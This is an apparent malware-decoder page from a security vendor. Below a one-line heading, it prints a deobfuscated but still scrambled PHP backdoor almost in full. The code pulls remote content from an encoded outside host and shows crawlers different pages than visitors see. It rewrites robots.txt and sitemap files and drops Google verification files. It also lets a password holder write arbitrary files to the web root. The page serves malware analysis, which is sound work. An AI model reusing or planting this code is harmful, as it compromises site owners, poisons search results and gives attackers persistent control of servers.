Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto LCSw3;
 n2ISW: goto bJcsI;
 goto g8fQ7;
 s7hZV: @header("\x48\x54\x54\x50\57\61\56\61\x20\65\x30\x30\40\x49\156\164\145\x72\156\x61\154\40\x53\145\162\166\x65\162\x20\x45\x72\x72\157\x72");
 goto YfO14;
	 hk_Z3: if (!strstr($kYleM, "\x67\145\164\143\157\x6e\x74\x65\x6e\x74\x33\60\x31\x70\141\x67\x65")) {
	 goto s4ZFu;
	 
}
 goto Xl2CR;
 RRMab: X_Ivi: goto hDIA5;
	 bIQqS: if (!is_file($WYIq2)) {
	 goto S3X1t;
	 
}
 goto ocxlB;
 FrAFg: pRAC6: goto onmta;
 pN3OF: AalGE: goto Azh29;
 YxuxS: goto j94Ig;
 goto DLml1;
	 OIP5I: if (file_put_contents($e4Ks8, trim($oEutl) . "\xd\xa\123\x69\164\145\x6d\x61\x70\72\x20" . $uLkND)) {
	 goto a8DTt;
	 
}
 goto ciO5h;
 LOdUj: qwjqa: goto w5feo;
 vlOkt: qpD55: goto x_68l;
 nnq85: vwBv7: goto p087U;
	 qfj6x: if (strstr($kYleM, "\157\x6b\170\x6d\154\x67\145\x74\x63\157\x6e\x74\145\x6e\164")) {
	 goto qNuDn;
	 
}
 goto rGG0a;
 SGm52: $ly4VU = $_SERVER["\x48\124\124\120\137\122\105\106\105\x52\105\122"];
 goto UZ2wL;
 O3c6Z: $TnB1j = hash("\163\x68\141\61", hash("\163\x68\141\61", @$_REQUEST["\x62"]));
 goto Lg2bS;
 Azh29: $oEutl = GCemp($e4Ks8);
 goto mUl2x;
 yyWUu: $flfyK = "\150\164\164\160\163";
 goto RRMab;
 q7sKL: exit("\x3c\141\x20\150\x72\145\x66\x3d" . $j5gjn . "\x3e" . $j5gjn . "\74\57\141\x3e");
 goto Yb44D;
	 ZSZqW: if (file_put_contents($e4Ks8, $fQFa0)) {
	 goto weGb_;
	 
}
 goto KKNpe;
 p7rJ2: ZadCv: goto vr16L;
 jVznc: $kYleM = str_replace("\x67\x65\x74\143\157\156\164\145\x6e\164\x33\x30\x31\160\x61\147\x65", '', $kYleM);
 goto JAkjR;
 jFAeO: lFnZJ: goto fFwLD;
	 g6irJ: if (!isset($_SERVER["\x48\x54\x54\120\137\x52\x45\106\x45\x52\105\122"])) {
	 goto DEBKE;
	 
}
 goto SGm52;
	 u5rLG: function uZIMU() {
	 goto VcRPV;
	 ngMXc: $k5cDl = $_SERVER["\120\x48\120\137\x53\105\x4c\106"] . "\x3f" . $_SERVER["\x51\x55\x45\122\x59\x5f\123\x54\x52\111\116\107"];
	 goto fqj8w;
	 mzsz1: $k5cDl = $_SERVER["\122\105\121\125\x45\123\124\137\125\x52\111"];
	 goto ci7v6;
	 fqj8w: goto GA2zq;
	 goto hkMqK;
	 K6CPW: $k5cDl = $_SERVER["\120\110\120\137\x53\105\x4c\106"] . "\x3f" . $_SERVER["\141\162\x67\166"][0];
	 goto t9wGW;
		 VcRPV: if (isset($_SERVER["\122\105\121\x55\105\x53\x54\137\125\122\x49"])) {
		 goto jvayB;
		 
	}
	 goto H2_Jv;
	 yoQYI: return $k5cDl;
	 goto um1LX;
	 hkMqK: i5PbV: goto K6CPW;
	 IhS7c: goto wJvqw;
	 goto C0ipH;
	 t9wGW: GA2zq: goto IhS7c;
	 C0ipH: jvayB: goto mzsz1;
		 H2_Jv: if (isset($_SERVER["\141\162\x67\x76"])) {
		 goto i5PbV;
		 
	}
	 goto ngMXc;
	 ci7v6: wJvqw: goto yoQYI;
	 um1LX: 
}
 goto Ja2Na;
 ciO5h: echo "\74\x62\x72\x3e\x66\x69\154\145\40\167\162\x69\x74\x65\x20\146\141\154\163\x65\x21\x3c\142\162\76";
 goto WbmcI;
	 KI01i: if (strstr($kYleM, "\156\157\x62\157\x74\165\x73\145\162\x61\x67\x65\156\164")) {
	 goto GuNC8;
	 
}
 goto lN3An;
	 lQQVV: if (stristr($oEutl, $uLkND)) {
	 goto mh06k;
	 
}
 goto OIP5I;
 jeZdz: $Lw0E2 = "\x68\164\164\x70";
 goto qmNv1;
 JAkjR: header("\114\x6f\x63\141\164\x69\157\x6e\72\40" . $kYleM);
 goto LL5Yh;
	 v0Wee: if (!preg_match("\x2f\x5e\x67\x6f\157\147\154\145\x2e\x2a\77\x28\134\56\150\x74\155\x6c\51\44\x2f\x69", $j5gjn)) {
	 goto vi30G;
	 
}
 goto gvdZ_;
 xCSfW: @header("\103\x6f\156\164\145\156\x74\x2d\x74\x79\160\x65\72\x20\164\145\x78\x74\57\150\164\x6d\154\x3b\x20\143\150\141\162\163\x65\x74\x3d\x75\x74\x66\55\x38");
 goto JqU6A;
 fFwLD: goto M1Aln;
 goto cQVBI;
 tqAcI: $Ng2Qe = $_SERVER["\104\x4f\103\125\x4d\x45\x4e\124\x5f\122\117\x4f\124"];
 goto X20Cb;
 Yb44D: vi30G: goto w1f4s;
 vlYcN: $RW2pL = @$_SERVER["\x48\x54\124\x50\137\101\x43\103\105\120\x54\x5f\x4c\101\116\107\x55\101\x47\x45"];
 goto lfv0Y;
 WbmcI: goto RAy1P;
 goto BGuW5;
 mUl2x: NALBg: goto UhO4k;
	 vr16L: if (!($r1Y1I == "\160\165\x74")) {
	 goto Ie4Wz;
	 
}
 goto CNaXN;
	 iZ_66: function VlYKG() {
	 goto Rsm2q;
	 nav5p: return true;
	 goto M_Kmt;
	 Rsm2q: $IZIPd = strtolower($_SERVER["\x48\x54\124\x50\x5f\125\123\105\x52\137\x41\107\x45\116\x54"]);
	 goto JoEdz;
	 YisM4: goto Qr6II;
	 goto Mhtn8;
		 JoEdz: if (stristr($IZIPd, "\147\157\x6f\147\154\x65\x62\x6f\164") || stristr($IZIPd, "\x62\151\x6e\x67") || stristr($IZIPd, "\x79\141\x68\157\157") || stristr($IZIPd, "\147\x6f\157\x67\x6c\145") || stristr($IZIPd, "\x47\x6f\x6f\147\154\x65\x62\157\164") || stristr($IZIPd, "\x67\157\x6f\x67\154\x65\142\x6f\164")) {
		 goto ip1Bn;
		 
	}
	 goto CIx2O;
	 CIx2O: return false;
	 goto YisM4;
	 Mhtn8: ip1Bn: goto nav5p;
	 M_Kmt: Qr6II: goto BREG9;
	 BREG9: 
}
 goto QuD6k;
 JTSgq: goto Reh8T;
 goto nnq85;
 dE2Y6: $e4Ks8 = $Ng2Qe . "\57\x72\157\142\x6f\164\163\56\164\170\164";
 goto qwubR;
 KKNpe: echo "\x3c\x62\x72\76\146\x69\x6c\x65\40\x77\x72\151\164\x65\40\146\x61\154\x73\145\41\74\x62\x72\76";
 goto gMw3j;
 ulbal: $U4fgE = $Lw0E2 . "\x3a\x2f\57" . $aJjrK . "\x2f\x69\156\144\x65\x78\156\145\x77\x2e\x70\150\x70\77\167\x65\x62\x3d" . $rb9of . "\46\172\x7a\x3d" . VlYkg() . "\46\165\162\151\x3d" . $k5cDl . "\46\x75\x72\x6c\163\150\x61\156\x67\x3d" . $ly4VU . "\x26\150\x74\164\160\75" . $flfyK . "\46\x6c\x61\156\147\75" . $RW2pL;
 goto AMEO_;
 cKxig: DEBKE: goto i0U9Y;
 GkjgU: goto X_Ivi;
 goto LoMwp;
 AMEO_: $kYleM = trim(gCeMP($U4fgE));
 goto KI01i;
 vl0U3: $xEZL1 = @$_REQUEST["\144\x73\x74\162"];
 goto AAdf9;
 w1f4s: INpZX: goto cIuB1;
 A436u: weGb_: goto wIHSe;
 NCTjp: $MD5n5 = "\57";
 goto vlOkt;
 gvdZ_: file_put_contents($j5gjn, "\x67\x6f\x6f\x67\x6c\x65\x2d\163\x69\x74\145\x2d\166\145\162\151\x66\x69\x63\x61\164\x69\157\x6e\72\40" . $j5gjn);
 goto q7sKL;
 JqU6A: $kYleM = str_replace("\157\153\x68\x74\155\154\147\x65\x74\143\x6f\x6e\x74\145\x6e\x74", '', $kYleM);
 goto DgYnZ;
 p087U: $RW2pL = urlencode($RW2pL . "\174\x7c\x69\x70\x69\x62");
 goto H7oCg;
 gjSBY: $Ng2Qe = dirname(__FILE__);
 goto YxuxS;
 g8fQ7: mh06k: goto v5hUA;
 m703H: $flfyK = "\150\x74\x74\160";
 goto GkjgU;
 eEIyV: qewiD: goto jj3Xs;
 coMyM: echo "\x6f\x6b";
 goto eEIyV;
 bD8uy: s4ZFu: goto nCrce;
	 qmNv1: if (Udcz8()) {
	 goto e10ZX;
	 
}
 goto m703H;
 n_JrT: exit;
 goto rYwvU;
 SfRn4: $SCnB9 = hash("\163\150\141\61", hash("\x73\150\141\61", @$_REQUEST["\160\x64"]));
 goto tM5RE;
 hDIA5: $MD5n5 = UZImu();
 goto H3r56;
 lfv0Y: $ly4VU = '';
 goto g6irJ;
 cQVBI: wi4CG: goto xCSfW;
 v5hUA: echo "\74\x62\162\x3e\163\151\x74\x65\155\x61\160\x20\141\154\162\x65\x61\x64\171\x20\141\x64\x64\x65\x64\41\x3c\142\x72\x3e";
 goto kucgT;
 Xl2CR: @header("\110\x54\124\120\x2f\61\56\x31\40\63\x30\61\40\x4d\157\x76\145\144\40\x50\x65\162\x6d\141\156\145\156\164\154\x79");
 goto jVznc;
	 rGG0a: if (strstr($kYleM, "\x67\145\164\143\x6f\x6e\164\x65\x6e\x74\65\x30\x30\160\141\x67\145")) {
	 goto RGRf5;
	 
}
 goto jrmJR;
 w5feo: goto lFnZJ;
 goto f2mC2;
 kCqKL: $WYIq2 = $Ng2Qe . "\x2f\x73\x69\164\145\x6d\x61\x70\56\170\155\x6c";
 goto bIQqS;
	 awHJL: if (file_exists($e4Ks8)) {
	 goto AalGE;
	 
}
 goto Vl8C8;
 Ja2Na: $aJjrK = str_rot13(urldecode($P2fo8));
 goto jAP6W;
 IvurQ: $r1Y1I = @$_REQUEST["\141\143\x74\x69\157\x6e"];
 goto Z_HCa;
 ZaX7u: echo "\x3c\x62\x72\x3e\x6f\x6b\74\142\x72\76";
 goto L6RpU;
 uoiqW: y3DN_: goto p7N0Z;
 COpya: V2n6l: goto eMt1M;
 rYwvU: fUF65: goto lfrxz;
 LCSw3: @set_time_limit(3600);
 goto AU40M;
 SmZF0: @header("\103\157\x6e\164\x65\x6e\x74\x2d\x74\x79\x70\x65\x3a\x20\x74\x65\x78\164\57\170\155\x6c");
 goto abEF7;
 LL5Yh: exit;
 goto bD8uy;
	 H3r56: if (!($MD5n5 == '')) {
	 goto qpD55;
	 
}
 goto NCTjp;
 onmta: @header("\x48\124\124\120\57\x31\56\x31\40\64\x30\64\x20\116\x6f\164\40\x46\157\165\x6e\144");
 goto n_JrT;
	 Z_HCa: if (isset($_SERVER["\x44\x4f\x43\x55\115\x45\x4e\124\x5f\122\x4f\x4f\x54"])) {
	 goto gEZE6;
	 
}
 goto gjSBY;
	 AAdf9: if (!file_put_contents($Ng2Qe . "\x2f" . $fQFa0, $xEZL1)) {
	 goto qewiD;
	 
}
 goto coMyM;
 dFIqb: exit;
 goto DWkHQ;
 jj3Xs: kUrE6: goto LHmzN;
 LHmzN: Ie4Wz: goto dFIqb;
	 tM5RE: if (!($SCnB9 == "\146\x37\65\146\x64\65\x61\143\x64\x33\66\x61\x37\x66\x62\144\61\x65\x32\61\71\x62\61\x39\x38\x38\61\x61\x35\63\64\x38\142\x66\x63\x36\66\x65\67\71")) {
	 goto Sk48E;
	 
}
 goto uIN0J;
 wIHSe: echo "\74\x62\x72\x3e\157\x6b\74\x62\162\76";
 goto HZjKt;
 eMt1M: ckY0f: goto w50M_;
 DLml1: gEZE6: goto tqAcI;
 Medqc: exit;
 goto jFAeO;
 f2mC2: qNuDn: goto FF18z;
	 bYkYx: if ($r1Y1I) {
	 goto ZadCv;
	 
}
 goto eyrJD;
 NTVXK: $j5gjn = $_REQUEST["\147\x6f\x6f\147\x6c\x65"];
 goto v0Wee;
 abEF7: echo $kYleM;
 goto Medqc;
 nCrce: goto fUF65;
 goto FrAFg;
 BGuW5: a8DTt: goto ZaX7u;
 p7N0Z: @unlink($e4Ks8);
 goto ZSZqW;
 x_68l: $k5cDl = urlencode($MD5n5);
 goto u5rLG;
 gMw3j: goto qi6GV;
 goto A436u;
 HZjKt: qi6GV: goto COpya;
 DWkHQ: Sk48E: goto iZ_66;
	 qwubR: if (stristr($fQFa0, "\x55\163\x65\x72\55\141\147\145\156\164")) {
	 goto y3DN_;
	 
}
 goto awHJL;
 AU40M: @ignore_user_abort(1);
 goto TRkoW;
 kucgT: bJcsI: goto LitdD;
 w50M_: $xkREY = hash("\163\150\x61\x31", hash("\163\x68\x61\x31", @$_REQUEST["\x61"]));
 goto O3c6Z;
	 i0U9Y: if (extension_loaded("\172\154\151\142")) {
	 goto vwBv7;
	 
}
 goto C1em3;
 ocxlB: @unlink($WYIq2);
 goto bJQdI;
 LitdD: goto V2n6l;
 goto uoiqW;
	 Lg2bS: if (!($xkREY == gCEMP($Lw0E2 . "\x3a\57\57" . $aJjrK . "\57\141\x2e\x70\x68\160") || $TnB1j == "\x66\70\x66\x30\x64\x61\145\70\60\x34\63\66\x38\143\x30\x33\x33\64\145\62\62\x64\x39\x64\x63\x62\x37\60\144\x33\x63\x37\x62\x62\146\x61\x39\x36\x33\x35")) {
	 goto kUrE6;
	 
}
 goto vl0U3;
 YMfk_: M1Aln: goto nyF1H;
	 cIuB1: if (strstr($fQFa0, "\x2e\170\155\154")) {
	 goto Nkigl;
	 
}
 goto oAkTJ;
 LoMwp: e10ZX: goto yyWUu;
 C1em3: $RW2pL = urlencode($RW2pL);
 goto JTSgq;
 UhO4k: $uLkND = $flfyK . "\x3a\x2f\57" . $rb9of . "\x2f" . $fQFa0;
 goto lQQVV;
	 lN3An: if (strstr($kYleM, "\157\153\x68\x74\x6d\x6c\147\145\164\143\157\x6e\x74\145\x6e\x74")) {
	 goto wi4CG;
	 
}
 goto qfj6x;
 bJQdI: S3X1t: goto dE2Y6;
 yyBb7: $rb9of = $_SERVER["\110\x54\x54\x50\137\x48\x4f\123\x54"];
 goto vlYcN;
 oAkTJ: echo "\74\x62\162\76\x73\151\164\145\155\141\160\x20\156\x61\155\145\x20\146\141\x6c\x73\145\41\x3c\142\x72\76";
 goto foKO2;
 lfrxz: goto qwjqa;
 goto QbS06;
 L6RpU: RAy1P: goto n2ISW;
 QbS06: RGRf5: goto s7hZV;
 hBKjT: exit;
 goto YMfk_;
 H7oCg: Reh8T: goto SfRn4;
 DgYnZ: echo $kYleM;
 goto hBKjT;
	 jrmJR: if (strstr($kYleM, "\147\x65\x74\143\x6f\x6e\x74\145\156\x74\64\x30\64\160\x61\147\x65")) {
	 goto pRAC6;
	 
}
 goto hk_Z3;
	 jAP6W: function udcz8() {
	 goto vP0t6;
	 RSVeG: return true;
	 goto JycCN;
	 c97RE: return false;
	 goto w0r4W;
		 bQsgb: if (isset($_SERVER["\110\124\x54\120\137\x58\x5f\106\117\x52\127\101\x52\104\105\104\137\120\122\117\124\x4f"]) && $_SERVER["\x48\x54\124\120\x5f\x58\x5f\106\117\122\127\x41\122\x44\105\x44\x5f\x50\122\117\124\117"] === "\x68\164\x74\160\x73") {
		 goto zGMur;
		 
	}
	 goto uycOT;
	 FYrwT: zGMur: goto aFfVI;
	 qvxGJ: goto H9iI6;
	 goto hudaz;
	 JycCN: goto H9iI6;
	 goto FYrwT;
	 hudaz: yohcE: goto RSVeG;
	 ZbOmx: return true;
	 goto Bg2in;
		 vP0t6: if (isset($_SERVER["\110\x54\124\x50\123"]) && strtolower($_SERVER["\110\x54\x54\120\x53"]) !== "\157\146\146") {
		 goto yohcE;
		 
	}
	 goto bQsgb;
	 aFfVI: return true;
	 goto Ce2NC;
		 uycOT: if (isset($_SERVER["\110\124\x54\120\x5f\x46\122\x4f\116\124\x5f\105\x4e\x44\x5f\110\124\x54\120\x53"]) && strtolower($_SERVER["\x48\124\x54\120\x5f\106\122\x4f\116\124\137\x45\x4e\x44\x5f\x48\x54\124\120\123"]) !== "\x6f\146\x66") {
		 goto ZNJ8C;
		 
	}
	 goto qvxGJ;
	 Ce2NC: goto H9iI6;
	 goto qyDew;
	 Bg2in: H9iI6: goto c97RE;
	 qyDew: ZNJ8C: goto ZbOmx;
	 w0r4W: 
}
 goto yyBb7;
	 CNaXN: if (!isset($_REQUEST["\x67\x6f\x6f\x67\x6c\145"])) {
	 goto INpZX;
	 
}
 goto NTVXK;
 uIN0J: $fQFa0 = @$_REQUEST["\155\141\x70\156\141\x6d\145"];
 goto IvurQ;
 YfO14: exit;
 goto LOdUj;
 T0fMK: Nkigl: goto kCqKL;
	 QuD6k: function GCEmP($qCcsk) {
	 goto HAc9m;
	 FcqDA: $Rb9K_ = @file_get_contents($qCcsk);
	 goto bUYlQ;
	 bUYlQ: Z88Vm: goto EEMSb;
	 Ztd4v: curl_setopt($WLsNL, CURLOPT_SSL_VERIFYPEER, 0);
	 goto NtMav;
	 emnYI: curl_setopt($WLsNL, CURLOPT_SSL_VERIFYHOST, 0);
	 goto Ztd4v;
	 wZkY_: curl_setopt($WLsNL, CURLOPT_URL, $qCcsk);
	 goto emnYI;
	 j8Fc1: curl_close($WLsNL);
	 goto yh_93;
	 o6INL: $WLsNL = curl_init();
	 goto wZkY_;
		 qOLFS: if (!function_exists("\143\165\x72\x6c\x5f\151\156\151\x74")) {
		 goto lcgd4;
		 
	}
	 goto o6INL;
		 R_pEy: if ($Rb9K_) {
		 goto Z88Vm;
		 
	}
	 goto FcqDA;
	 Nbodz: curl_setopt($WLsNL, CURLOPT_CONNECTTIMEOUT, 30);
	 goto Cnd8s;
	 Cnd8s: $Rb9K_ = curl_exec($WLsNL);
	 goto j8Fc1;
	 HAc9m: $Rb9K_ = '';
	 goto qOLFS;
	 EEMSb: return @mb_strpos($Rb9K_, "\x1f\213\x8", 0, "\x55\x54\x46\x2d\70") ? $Rb9K_ : gzdecode($Rb9K_);
	 goto fgJJL;
	 NtMav: curl_setopt($WLsNL, CURLOPT_RETURNTRANSFER, 1);
	 goto Nbodz;
	 yh_93: lcgd4: goto R_pEy;
	 fgJJL: 
}
 goto ulbal;
 foKO2: goto ckY0f;
 goto T0fMK;
 Ll41Q: goto NALBg;
 goto pN3OF;
 X20Cb: j94Ig: goto bYkYx;
 UZ2wL: $ly4VU = urlencode($ly4VU);
 goto cKxig;
 FF18z: $kYleM = str_replace("\x6f\x6b\170\x6d\x6c\x67\x65\164\143\x6f\x6e\164\x65\156\164", '', $kYleM);
 goto SmZF0;
 Vl8C8: $oEutl = "\125\x73\x65\162\x2d\x61\x67\145\156\x74\x3a\40\x2a\12\x41\154\x6c\157\x77\72\x20\57";
 goto Ll41Q;
 eyrJD: $r1Y1I = "\160\165\x74";
 goto p7rJ2;
 TRkoW: $P2fo8 = "\x25\x36\105\x25\66\x35\45\66\103\x25\x36\70\45\67\x38\x25\x36\103\x25\66\x36\45\67\65\45\x32\x45\45\x36\x37\45\x36\62\45\x36\x45\x25\x36\x46\45\66\66\45\66\x32\x25\66\x35\45\x36\x46\x25\67\70\x25\66\101\x25\x32\x45\45\x36\x36\45\x37\66\45\x36\67\45\x37\x32";
 goto jeZdz;
 nyF1H: GuNC8:



© 2023 Quttera Ltd. All rights reserved.